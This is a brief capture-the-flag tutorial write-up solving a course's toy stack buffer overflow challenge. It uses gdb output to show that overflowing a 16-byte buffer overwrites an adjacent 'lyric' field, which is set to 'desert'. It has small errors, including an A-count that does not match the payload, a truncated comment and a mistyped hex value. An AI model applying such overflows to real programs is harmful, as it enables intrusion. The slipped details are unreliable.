

Don't\_forget\_the\_lyrics -> Simple bufferoverflow program

The if statement here compares and check that locals.lyric is equals to desert

```
if (strcmp(locals.lyric, "desert") == 0){
    printf("Congratulations!\n");
    char flag[512];
    // d is the function to deobfuscate the flag
rt of the challenge.
    // d(flag, "CZ4067{...}");
    printf("The flag is: %s", flag);
}
```

First compile the C program to make it debug-able at every line using -g

```
shxn@shxn-virtual-machine:~/Downloads/CZ4067_Tutorial_Pwn_Static_Problems/dont_forget_the_lyrics$ gcc ./lyrics_sample.c -o lyrics_static -g
shxn@shxn-virtual-machine:~/Downloads/CZ4067_Tutorial_Pwn_Static_Problems/dont_forget_the_lyrics$ gdb lyrics_static
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
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For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from lyrics_static...
(gdb) b main
Breakpoint 1 at 0x11d8: file ./lyrics_sample.c, line 9.
(gdb) run
Starting program: /home/shxn/Downloads/CZ4067_Tutorial_Pwn_Static_Problems/dont_
```

When we reach scanf, check for the buffer and lyric's address and then check for it's content:

```
(gdb) next
25         scanf("%s", locals.buf);
(gdb) p &locals.buf
$1 = (char (*)[16]) 0x7fffffffdc30
(gdb) p &locals.lyric
$2 = (char (*)[16]) 0x7fffffffdc40
(gdb) x/20x $sp
0x7fffffffdc30: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffdc40: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffdc50: 0x00000000      0x00000000      0x00000000      0x000000ff
0x7fffffffdc60: 0x2f2f2f2f      0x2f2f2f2f      0x2f2f2f2f      0x2f2f2f2f
0x7fffffffdc70: 0x000000d98      0x00000000      0x00000000      0x00000000
(gdb)
```

From the screenshot, we can see that image is located at 0x7fffffffdc40 , as we need to ensure 'desert' is being loaded into the image location correctly, we have to overflow the buffer

The final input will be: 16 A(s) + 'desert' -> AAAAAAAAAAAAAAAAAAdesert